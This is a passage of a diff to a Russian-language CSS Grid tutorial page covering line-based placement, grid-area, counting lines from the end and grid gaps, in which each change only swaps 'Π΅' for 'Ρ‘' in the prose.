-<p>ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎ линиям (line-based placement), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ элСмСнты Π½Π° Π³Ρ€ΠΈΠ΄Π΅. НапримСр, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт начинался ΠΎΡ‚ Π»Π΅Π²ΠΎΠ³ΠΎ края ΠΈ Π·Π°Π½ΠΈΠΌΠ°Π» ΠΎΠ΄ΠΈΠ½ Ρ‚Ρ€Π΅ΠΊ-ΠΊΠΎΠ»ΠΎΠ½ΠΊΡƒ.Β ΠŸΡƒΡΡ‚ΡŒ ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ начинаСтся с ΠΏΠ΅Ρ€Π²ΠΎΠΉ строчной Π»ΠΈΠ½ΠΈΠΈ,Β  Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ края Π³Ρ€ΠΈΠ΄Π°, ΠΈ занимаСт пространство Π΄ΠΎ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠΉ строчной Π»ΠΈΠ½ΠΈΠΈ.</p>
+<p>ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎ линиям (line-based placement), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ элСмСнты Π½Π° Π³Ρ€ΠΈΠ΄Π΅. НапримСр, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт начинался ΠΎΡ‚ Π»Π΅Π²ΠΎΠ³ΠΎ края ΠΈ Π·Π°Π½ΠΈΠΌΠ°Π» ΠΎΠ΄ΠΈΠ½ Ρ‚Ρ€Π΅ΠΊ-ΠΊΠΎΠ»ΠΎΠ½ΠΊΡƒ.Β ΠŸΡƒΡΡ‚ΡŒ ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ начинаСтся с ΠΏΠ΅Ρ€Π²ΠΎΠΉ строчной Π»ΠΈΠ½ΠΈΠΈ,Β  Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ края Π³Ρ€ΠΈΠ΄Π°, ΠΈ занимаСт пространство Π΄ΠΎ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠΉ строчной Π»ΠΈΠ½ΠΈΠΈ.</p>
<div id="Line_Number">
<pre class="brush: css notranslate">.box1 {
@@ -244,7 +244,7 @@ original_slug: >-
<p>{{ EmbedLiveSample('End_Lines', '300', '330') }}</p>
</div>
-<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ элСмСнты Π·Π°Π½ΠΈΠΌΠ°Π»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ‚Ρ€Π΅ΠΊ, наша сокращСнная запись Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π²ΠΎΡ‚ Ρ‚Π°ΠΊ, Π±Π΅Π· слСша ΠΈ Π±Π΅Π· Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ значСния:</p>
+<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ элСмСнты Π·Π°Π½ΠΈΠΌΠ°Π»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ‚Ρ€Π΅ΠΊ, наша сокращённая запись Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π²ΠΎΡ‚ Ρ‚Π°ΠΊ, Π±Π΅Π· слСша ΠΈ Π±Π΅Π· Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ значСния:</p>
<div id="New_Shorthand">
<div class="hidden">
@@ -300,7 +300,7 @@ original_slug: >-
<h2 id="Бвойство_grid-area">Бвойство <code>grid-area</code></h2>
-<p>ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠΉΡ‚ΠΈ Π΅Ρ‰Π΅ дальшС ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ†Π΅Π»ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ΄Π½ΠΎΠ³ΠΎ СдинствСнного свойства – {{cssxref("grid-area")}}. ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ свойств для Π³Ρ€ΠΈΠ΄-области ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ:</p>
+<p>ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠΉΡ‚ΠΈ Π΅Ρ‰Ρ‘ дальшС ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ†Π΅Π»ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ΄Π½ΠΎΠ³ΠΎ СдинствСнного свойства – {{cssxref("grid-area")}}. ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ свойств для Π³Ρ€ΠΈΠ΄-области ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ:</p>
<ul>
<li>grid-row-start</li>
@@ -355,7 +355,7 @@ original_slug: >-
<p>{{ EmbedLiveSample('The_grid-area_property', '300', '330') }}</p>
-<p>ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ для <code>grid-area</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ странным, ΠΎΠ½ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ Ρ‚ΠΎΠΌΡƒ порядку, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, записываСм значСния для сокращСнных свойств margin ΠΈ padding. Но сдСлано это ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π³Ρ€ΠΈΠ΄ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с направлСниями ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π² спСцификации CSS Writing Modes. Π’ дальнСйшСм ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ Π³Ρ€ΠΈΠ΄Ρ‹ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ с Ρ€Π΅ΠΆΠΈΠΌΠ°ΠΌΠΈ написания (writing modes), Π½ΠΎ ΠΏΠΎΠΊΠ° Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅ΠΌ Π·Π° Π΄Π°Π½Π½ΠΎΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π΄Π΅Π»ΠΎ с ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠ΅ΠΉ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°:</p>
+<p>ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ для <code>grid-area</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ странным, ΠΎΠ½ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ Ρ‚ΠΎΠΌΡƒ порядку, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, записываСм значСния для сокращённых свойств margin ΠΈ padding. Но сдСлано это ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π³Ρ€ΠΈΠ΄ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с направлСниями ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π² спСцификации CSS Writing Modes. Π’ дальнСйшСм ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ Π³Ρ€ΠΈΠ΄Ρ‹ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ с Ρ€Π΅ΠΆΠΈΠΌΠ°ΠΌΠΈ написания (writing modes), Π½ΠΎ ΠΏΠΎΠΊΠ° Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅ΠΌ Π·Π° Π΄Π°Π½Π½ΠΎΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π΄Π΅Π»ΠΎ с ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠ΅ΠΉ Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°:</p>
<ul>
<li>block-start (Π½Π°Ρ‡Π°Π»ΠΎ Π±Π»ΠΎΠΊΠ°)</li>
@@ -366,11 +366,11 @@ original_slug: >-
<p>ΠœΡ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ с русским, языком с написаниСм слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ. Начало нашСго Π±Π»ΠΎΠΊΠ° (block-start) - вСрхняя строчная линия Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, ΠΊΠΎΠ½Π΅Ρ† Π±Π»ΠΎΠΊΠ°Β (block-end) - послСдняя строчная линия ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Начало строки (inline-start) - самая лСвая колоночная линия, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π°Ρ‡Π°Π»ΠΎ строки - это всСгда Ρ‚ΠΎΡ‡ΠΊΠ°, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ начинаСтся написаниС тСкста Π² Π·Π°Π΄Π°Π½Π½ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅ написания. ΠšΠΎΠ½Π΅Ρ† строки (inline-end) - послСдняя колоночная линия Π³Ρ€ΠΈΠ΄Π°.</p>
-<p>Когда ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ Π½Π°ΡˆΡƒ Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства <code>grid-area</code>Β , ΠΌΡ‹ сначала опрСдСляСм ΠΎΠ±Π΅ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ <code>block-start</code>Β ΠΈΒ <code>inline-start</code>, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ±Π΅ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈΒ Β <code>block-end</code> ΠΈ <code>inline-end</code>. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ Π΄Π°Π²Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ с физичСскими свойствами top, right, bottom ΠΈ left, ΠΏΠΎΠ½Π°Ρ‡Π°Π»Ρƒ это каТСтся Π½Π΅ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π½Ρ‹ΠΌ, Π½ΠΎ Π²ΠΏΠΎΠ»Π½Π΅ осмыслСнно, Ссли ΠΎΡΠΎΠ·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π΅ΠΆΠΈΠΌΠ° написания Π²Π΅Π±-сайты - ΠΌΠ½ΠΎΠ³ΠΎΠ½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ структуры.</p>
+<p>Когда ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ Π½Π°ΡˆΡƒ Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства <code>grid-area</code>Β , ΠΌΡ‹ сначала опрСдСляСм ΠΎΠ±Π΅ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ <code>block-start</code>Β ΠΈΒ <code>inline-start</code>, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ±Π΅ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈΒ Β <code>block-end</code> ΠΈ <code>inline-end</code>. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ Π΄Π°Π²Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ с физичСскими свойствами top, right, bottom ΠΈ left, ΠΏΠΎΠ½Π°Ρ‡Π°Π»Ρƒ это каТСтся Π½Π΅ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π½Ρ‹ΠΌ, Π½ΠΎ Π²ΠΏΠΎΠ»Π½Π΅ осмыслСнно, Ссли ΠΎΡΠΎΠ·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π΅ΠΆΠΈΠΌΠ° написания Π²Π΅Π±-сайты - ΠΌΠ½ΠΎΠ³ΠΎΠ½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ структуры.</p>
<h2 id="Бчитая_с_ΠΊΠΎΠ½Ρ†Π°">Бчитая с ΠΊΠΎΠ½Ρ†Π°</h2>
-<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ‚ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ Π³Ρ€ΠΈΠ΄-Π»ΠΈΠ½ΠΈΠΈ с ΠΊΠΎΠ½Ρ†Π°, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ с послСднСй (для русского языка - самой ΠΏΡ€Π°Π²ΠΎΠΉ) ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΉ и послСднСй (самой Π½ΠΈΠΆΠ½Π΅ΠΉ) строчной Π»ΠΈΠ½ΠΈΠΉ. ИндСкс этих Π»ΠΈΠ½ΠΈΠΉ Π±ΡƒΠ΄Π΅Ρ‚Β <code>-1</code>, Π° Π»ΠΈΠ½ΠΈΠΉ нСпосрСдствСнно ΠΏΠ΅Ρ€Π΅Π΄ Π½ΠΈΠΌΠΈ <code>-2,</code>Β ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. НуТно ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ΄ послСднСй линиСй понимаСтся послСдняя линия явного Π³Ρ€ΠΈΠ΄Π° (<em>explicit grid)</em>, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π³Ρ€ΠΈΠ΄Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>grid-template-columns</code> ΠΈ<code>grid-template-rows.</code>Β Π›ΡŽΠ±Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ строк ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ нСявным Π³Ρ€ΠΈΠ΄ΠΎΠΌ (<em>implicit grid)</em>Β Π½Π΅ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ.</p>
+<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ‚ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ Π³Ρ€ΠΈΠ΄-Π»ΠΈΠ½ΠΈΠΈ с ΠΊΠΎΠ½Ρ†Π°, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ с послСднСй (для русского языка - самой ΠΏΡ€Π°Π²ΠΎΠΉ) ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΉ и послСднСй (самой Π½ΠΈΠΆΠ½Π΅ΠΉ) строчной Π»ΠΈΠ½ΠΈΠΉ. ИндСкс этих Π»ΠΈΠ½ΠΈΠΉ Π±ΡƒΠ΄Π΅Ρ‚Β <code>-1</code>, Π° Π»ΠΈΠ½ΠΈΠΉ нСпосрСдствСнно ΠΏΠ΅Ρ€Π΅Π΄ Π½ΠΈΠΌΠΈ <code>-2,</code>Β ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. НуТно ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ΄ послСднСй линиСй понимаСтся послСдняя линия явного Π³Ρ€ΠΈΠ΄Π° (<em>explicit grid)</em>, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π³Ρ€ΠΈΠ΄Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>grid-template-columns</code> ΠΈ<code>grid-template-rows.</code>Β Π›ΡŽΠ±Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ строк ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ нСявным Π³Ρ€ΠΈΠ΄ΠΎΠΌ (<em>implicit grid)</em>Β Π½Π΅ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ.</p>
<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ "ΠΏΠ΅Ρ€Π΅Π²Π΅Ρ€Π½ΡƒΠ»ΠΈ" ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ нашСго Π³Ρ€ΠΈΠ΄Π°, ΠΏΡ€ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠΈ элСмСнтов задавая Π»ΠΈΠ½ΠΈΠΈ с ΠΊΠΎΠ½Ρ†Π°, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, ΠΎΡ‚ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ ΠΈ Π½ΠΈΠΆΠ½Π΅Π³ΠΎ ΠΊΡ€Π°Π΅Π².</p>
@@ -504,9 +504,9 @@ original_slug: >-
<p>{{ EmbedLiveSample('Gutters_or_Alleys', '300', '350') }}</p>
-<h3 id="БокращСнная_запись_для_Π³Ρ€ΠΈΠ΄-Π·Π°Π·ΠΎΡ€ΠΎΠ²">БокращСнная запись для Π³Ρ€ΠΈΠ΄-Π·Π°Π·ΠΎΡ€ΠΎΠ²</h3>
+<h3 id="Бокращённая_запись_для_Π³Ρ€ΠΈΠ΄-Π·Π°Π·ΠΎΡ€ΠΎΠ²">Бокращённая запись для Π³Ρ€ΠΈΠ΄-Π·Π°Π·ΠΎΡ€ΠΎΠ²</h3>
-<p>Оба свойства Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства-сокращСния {{cssxref("grid-gap")}}. Если Π·Π°Π΄Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚ΠΎ ΠΎΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π·Π°Π·ΠΎΡ€ΠΎΠ²Β ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌΠΈ, ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ строками. Если ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ Π΄Π²Π° значСния, Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для <code>grid-row-gap</code>Β , Π° Π²Ρ‚ΠΎΡ€ΠΎΠ΅ - для <code>grid-column-gap</code>.</p>
+<p>Оба свойства Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства-сокращСния {{cssxref("grid-gap")}}. Если Π·Π°Π΄Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚ΠΎ ΠΎΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π·Π°Π·ΠΎΡ€ΠΎΠ²Β ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌΠΈ, ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ строками. Если ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ Π΄Π²Π° значСния, Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для <code>grid-row-gap</code>Β , Π° Π²Ρ‚ΠΎΡ€ΠΎΠ΅ - для <code>grid-column-gap</code>.</p>
<pre class="brush: css notranslate">.wrapper {
display: grid;
@@ -516,7 +516,7 @@ original_slug: >-
}
</pre>
-<p>Π’ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Ρ… располоТСния элСмСнтов ΠΏΠΎ Π³Ρ€ΠΈΠ΄-линиям (line-based positioning) Π·Π°Π·ΠΎΡ€Ρ‹ Π²Π΅Π΄ΡƒΡ‚ сСбя Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ самой Π»ΠΈΠ½ΠΈΠΈ Π±Ρ‹Π»Π° Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Π°. ВсС, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ Π»ΠΈΠ½ΠΈΠΈ, начинаСтся ΠΎΡ‚ Π½Π΅Π΅ Π½Π° расстоянии Π·Π°Π·ΠΎΡ€Π°, ΠΈ Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π°Π΄Ρ€Π΅ΡΠΎΠ²Π°Ρ‚ΡŒ Π·Π°Π·ΠΎΡ€ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽΒ ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π² Π½Π΅Π³ΠΎ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ. Если Π’Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ Π·Π°Π·ΠΎΡ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π΅Π΄ΡƒΡ‚ сСбя, ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹ΠΊΠ½ΠΎΠ²Π΅Π½Π½Ρ‹Π΅ Ρ‚Ρ€Π΅ΠΊΠΈ, Ρ‡Ρ‚ΠΎ ΠΆΠ΅ - ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅ Ρ‚Ρ€Π΅ΠΊ, Π° Π½Π΅ Π·Π°Π·ΠΎΡ€.</p>
+<p>Π’ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Ρ… располоТСния элСмСнтов ΠΏΠΎ Π³Ρ€ΠΈΠ΄-линиям (line-based positioning) Π·Π°Π·ΠΎΡ€Ρ‹ Π²Π΅Π΄ΡƒΡ‚ сСбя Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ самой Π»ΠΈΠ½ΠΈΠΈ Π±Ρ‹Π»Π° Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Π°. ВсС, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ Π»ΠΈΠ½ΠΈΠΈ, начинаСтся ΠΎΡ‚ Π½Π΅Ρ‘ Π½Π° расстоянии Π·Π°Π·ΠΎΡ€Π°, ΠΈ Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π°Π΄Ρ€Π΅ΡΠΎΠ²Π°Ρ‚ΡŒ Π·Π°Π·ΠΎΡ€ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽΒ ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π² Π½Π΅Π³ΠΎ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ. Если Π’Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ Π·Π°Π·ΠΎΡ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π΅Π΄ΡƒΡ‚ сСбя, ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹ΠΊΠ½ΠΎΠ²Π΅Π½Π½Ρ‹Π΅ Ρ‚Ρ€Π΅ΠΊΠΈ, Ρ‡Ρ‚ΠΎ ΠΆΠ΅ - 